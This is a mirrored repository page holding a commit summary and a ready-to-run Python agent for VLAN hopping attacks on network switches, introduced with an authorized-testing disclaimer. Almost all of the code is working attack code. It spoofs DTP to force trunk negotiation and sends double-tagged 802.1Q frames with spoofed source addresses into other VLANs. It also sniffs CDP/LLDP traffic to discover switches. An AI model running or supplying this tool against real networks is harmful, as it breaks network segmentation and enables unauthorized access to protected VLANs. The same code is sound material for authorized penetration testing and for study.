mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-06-11 21:54:56 +03:00
c47eed6a64
- Fix 25 shell=True subprocess calls with list-based commands - Fix 49 verify=False in defensive skills (env-var override) - Add timeout to 231 HTTP/subprocess/socket calls - Fix 6 SQL injection patterns with whitelist validation - Replace 8 __import__() with standard imports - Remove 701 unused imports across 442 files - Add authorized-testing disclaimers to all offensive skills - Complete 11 incomplete skill directories - Expand 10 stub SKILL.md files with full content - Fix 2 YAML parse errors in frontmatter - Fix 5 pre-existing syntax errors - Convert 22 hardcoded paths/ports to environment variables - Back up 21 redundant skill pairs to .bak - Fix 2 global declaration errors - 724/724 skills with full folder anatomy (SKILL.md + agent.py + api-reference.md + LICENSE) - 0 compile errors across all 724 agent.py files
186 lines
6.3 KiB
Python
186 lines
6.3 KiB
Python
#!/usr/bin/env python3
|
|
# For authorized penetration testing and educational environments only.
|
|
# Usage against targets without prior mutual consent is illegal.
|
|
# It is the end user's responsibility to obey all applicable local, state and federal laws.
|
|
"""VLAN hopping assessment agent using scapy for DTP and double-tagging tests."""
|
|
|
|
import subprocess
|
|
import sys
|
|
from datetime import datetime
|
|
|
|
try:
|
|
from scapy.all import (
|
|
Ether, Dot1Q, IP, ICMP, sendp, sniff, get_if_hwaddr,
|
|
conf, LLC, SNAP, Raw
|
|
)
|
|
except ImportError:
|
|
print("Install: pip install scapy")
|
|
sys.exit(1)
|
|
|
|
|
|
def get_interface_info(iface="eth0"):
|
|
"""Get network interface details."""
|
|
mac = get_if_hwaddr(iface)
|
|
result = subprocess.run(
|
|
["ip", "link", "show", iface], capture_output=True, text=True,
|
|
timeout=120,
|
|
)
|
|
return {"interface": iface, "mac": mac, "status": result.stdout.strip()}
|
|
|
|
|
|
def check_vlan_config(iface="eth0"):
|
|
"""Check current VLAN configuration on the interface."""
|
|
vlan_config = None
|
|
try:
|
|
with open("/proc/net/vlan/config", "r") as f:
|
|
vlan_config = f.read()
|
|
except FileNotFoundError:
|
|
pass
|
|
return {"vlan_config": vlan_config}
|
|
|
|
|
|
def listen_for_dtp(iface="eth0", timeout=30):
|
|
"""Listen for DTP frames to assess trunk negotiation status."""
|
|
dtp_frames = []
|
|
def dtp_handler(pkt):
|
|
if pkt.haslayer(LLC):
|
|
dtp_frames.append({
|
|
"src": pkt[Ether].src,
|
|
"dst": pkt[Ether].dst,
|
|
"time": str(datetime.now()),
|
|
})
|
|
sniff(iface=iface, filter="ether dst 01:00:0c:cc:cc:cc",
|
|
prn=dtp_handler, timeout=timeout, store=0)
|
|
return {
|
|
"dtp_frames_received": len(dtp_frames),
|
|
"dtp_active": len(dtp_frames) > 0,
|
|
"details": dtp_frames,
|
|
}
|
|
|
|
|
|
def listen_for_cdp_lldp(iface="eth0", timeout=60):
|
|
"""Capture CDP/LLDP frames to discover switch information."""
|
|
discovery_frames = []
|
|
def handler(pkt):
|
|
discovery_frames.append({
|
|
"src": pkt[Ether].src,
|
|
"type": hex(pkt[Ether].type) if pkt[Ether].type else "LLC",
|
|
"time": str(datetime.now()),
|
|
"length": len(pkt),
|
|
})
|
|
sniff(iface=iface,
|
|
filter="ether proto 0x88cc or (ether dst 01:00:0c:cc:cc:cc)",
|
|
prn=handler, timeout=timeout, store=0)
|
|
return {"frames": discovery_frames, "switch_discovered": len(discovery_frames) > 0}
|
|
|
|
|
|
def send_dtp_desirable(iface="eth0", count=10):
|
|
"""Send DTP desirable frames to attempt trunk negotiation."""
|
|
mac = get_if_hwaddr(iface)
|
|
dtp_frame = (
|
|
Ether(dst="01:00:0c:cc:cc:cc", src=mac) /
|
|
LLC(dsap=0xAA, ssap=0xAA, ctrl=3) /
|
|
SNAP(OUI=0x00000C, code=0x2004) /
|
|
Raw(load=bytes([
|
|
0x00, 0x01, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x02, 0x00, 0x05, 0x03,
|
|
0x00, 0x03, 0x00, 0x05, 0xA5,
|
|
0x00, 0x04, 0x00, 0x0A,
|
|
]) + bytes.fromhex(mac.replace(":", "")))
|
|
)
|
|
sendp(dtp_frame, iface=iface, count=count, inter=1, verbose=False)
|
|
return {"frames_sent": count, "type": "DTP Desirable", "interface": iface}
|
|
|
|
|
|
def create_vlan_interface(iface, vlan_id, ip_addr):
|
|
"""Create a VLAN subinterface."""
|
|
subprocess.run(["modprobe", "8021q"], capture_output=True, timeout=120)
|
|
vlan_iface = f"{iface}.{vlan_id}"
|
|
subprocess.run(
|
|
["ip", "link", "add", "link", iface, "name", vlan_iface,
|
|
"type", "vlan", "id", str(vlan_id)],
|
|
capture_output=True,
|
|
timeout=120,
|
|
)
|
|
subprocess.run(
|
|
["ip", "addr", "add", f"{ip_addr}/24", "dev", vlan_iface],
|
|
capture_output=True,
|
|
timeout=120,
|
|
)
|
|
subprocess.run(["ip", "link", "set", vlan_iface, "up"], capture_output=True, timeout=120)
|
|
return {"vlan_interface": vlan_iface, "vlan_id": vlan_id, "ip": ip_addr}
|
|
|
|
|
|
def send_double_tagged(iface, outer_vlan, inner_vlan, target_ip):
|
|
"""Send double-tagged 802.1Q frames for VLAN hopping."""
|
|
mac = get_if_hwaddr(iface)
|
|
pkt = (
|
|
Ether(dst="ff:ff:ff:ff:ff:ff", src=mac) /
|
|
Dot1Q(vlan=outer_vlan) /
|
|
Dot1Q(vlan=inner_vlan) /
|
|
IP(dst=target_ip, src=f"10.10.{inner_vlan}.99") /
|
|
ICMP(type=8)
|
|
)
|
|
sendp(pkt, iface=iface, count=5, inter=1, verbose=False)
|
|
return {
|
|
"type": "Double Tagged",
|
|
"outer_vlan": outer_vlan,
|
|
"inner_vlan": inner_vlan,
|
|
"target_ip": target_ip,
|
|
"note": "Unidirectional - no responses expected",
|
|
}
|
|
|
|
|
|
def cleanup_vlan_interfaces(iface, vlan_ids):
|
|
"""Remove VLAN subinterfaces created during testing."""
|
|
removed = []
|
|
for vid in vlan_ids:
|
|
vlan_iface = f"{iface}.{vid}"
|
|
result = subprocess.run(
|
|
["ip", "link", "del", vlan_iface], capture_output=True,
|
|
timeout=120,
|
|
)
|
|
removed.append({"interface": vlan_iface, "success": result.returncode == 0})
|
|
return removed
|
|
|
|
|
|
def run_assessment(iface="eth0", target_vlans=None, target_ips=None):
|
|
"""Run full VLAN hopping assessment."""
|
|
if target_vlans is None:
|
|
target_vlans = [10, 20]
|
|
if target_ips is None:
|
|
target_ips = {10: "10.10.10.1", 20: "10.10.20.1"}
|
|
report = {
|
|
"timestamp": datetime.now().isoformat(),
|
|
"interface": get_interface_info(iface),
|
|
"tests": [],
|
|
}
|
|
dtp_listen = listen_for_dtp(iface, timeout=15)
|
|
report["tests"].append({"test": "DTP Listening", "result": dtp_listen})
|
|
dtp_send = send_dtp_desirable(iface)
|
|
report["tests"].append({"test": "DTP Switch Spoofing", "result": dtp_send})
|
|
for vlan_id in target_vlans:
|
|
ip = target_ips.get(vlan_id, f"10.10.{vlan_id}.1")
|
|
dt_result = send_double_tagged(iface, 1, vlan_id, ip)
|
|
report["tests"].append({"test": f"Double Tagging VLAN {vlan_id}", "result": dt_result})
|
|
cleanup_vlan_interfaces(iface, target_vlans)
|
|
return report
|
|
|
|
|
|
def print_report(report):
|
|
print("VLAN Hopping Assessment Report")
|
|
print("=" * 50)
|
|
print(f"Date: {report['timestamp']}")
|
|
print(f"Interface: {report['interface']['interface']} ({report['interface']['mac']})")
|
|
for test in report["tests"]:
|
|
print(f"\n--- {test['test']} ---")
|
|
for k, v in test["result"].items():
|
|
print(f" {k}: {v}")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
iface = sys.argv[1] if len(sys.argv) > 1 else "eth0"
|
|
result = run_assessment(iface)
|
|
print_report(result)
|